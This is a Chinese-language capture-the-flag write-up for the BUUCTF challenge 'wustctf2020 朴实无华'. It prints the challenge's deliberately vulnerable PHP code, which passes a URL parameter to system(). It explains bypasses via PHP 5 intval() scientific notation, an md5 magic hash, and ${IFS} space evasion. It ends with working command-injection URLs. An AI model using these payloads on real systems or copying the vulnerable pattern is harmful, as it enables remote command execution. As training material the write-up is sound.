buuctf:[wustctf2020]朴实无华_末 初的博客-爱代码爱编程
首先在robots.txt
下发现/fAke_f1agggg.php
访问有一个假的flag,但是在响应头中找到一个提示,另外还有一个值得注意的是这里是PHP/5.5.38
访问fl4g.php
得到
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
PHP5中的intval()
函数中科学计数法符号e
无效,只会当作正常字符处理
PS D:\phpstudy_pro\Extensions\php\php5.5.9nts> .\php.exe -v
PHP 5.5.9 (cli) (built: Feb 5 2014 11:04:12)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
PS D:\phpstudy_pro\Extensions\php\php5.5.9nts> .\php.exe -r "var_dump(intval('2e4'));"
int(2)
PS D:\phpstudy_pro\Extensions\php\php5.5.9nts> php -v
PHP 7.4.3 (cli) (built: Feb 18 2020 17:29:57) ( NTS Visual C++ 2017 x64 )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
with Zend OPcache v7.4.3, Copyright (c), by Zend Technologies
with Xdebug v2.9.8, Copyright (c) 2002-2020, by Derick Rethans
PS D:\phpstudy_pro\Extensions\php\php5.5.9nts> php -r "var_dump(intval('2e4'));"
Command line code:1:
int(20000)
PS D:\phpstudy_pro\Extensions\php\php5.5.9nts>
所以这里利用科学计数法的符号就可以绕过level 1
level 2直接可参考我的这篇文章:浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题
最后直接绕过空格
和cat
即可
/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls${IFS}-lha${IFS}./
/fl4g.php?num=2e4&md5=0e215962017&get_flag=tail${IFS}./fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag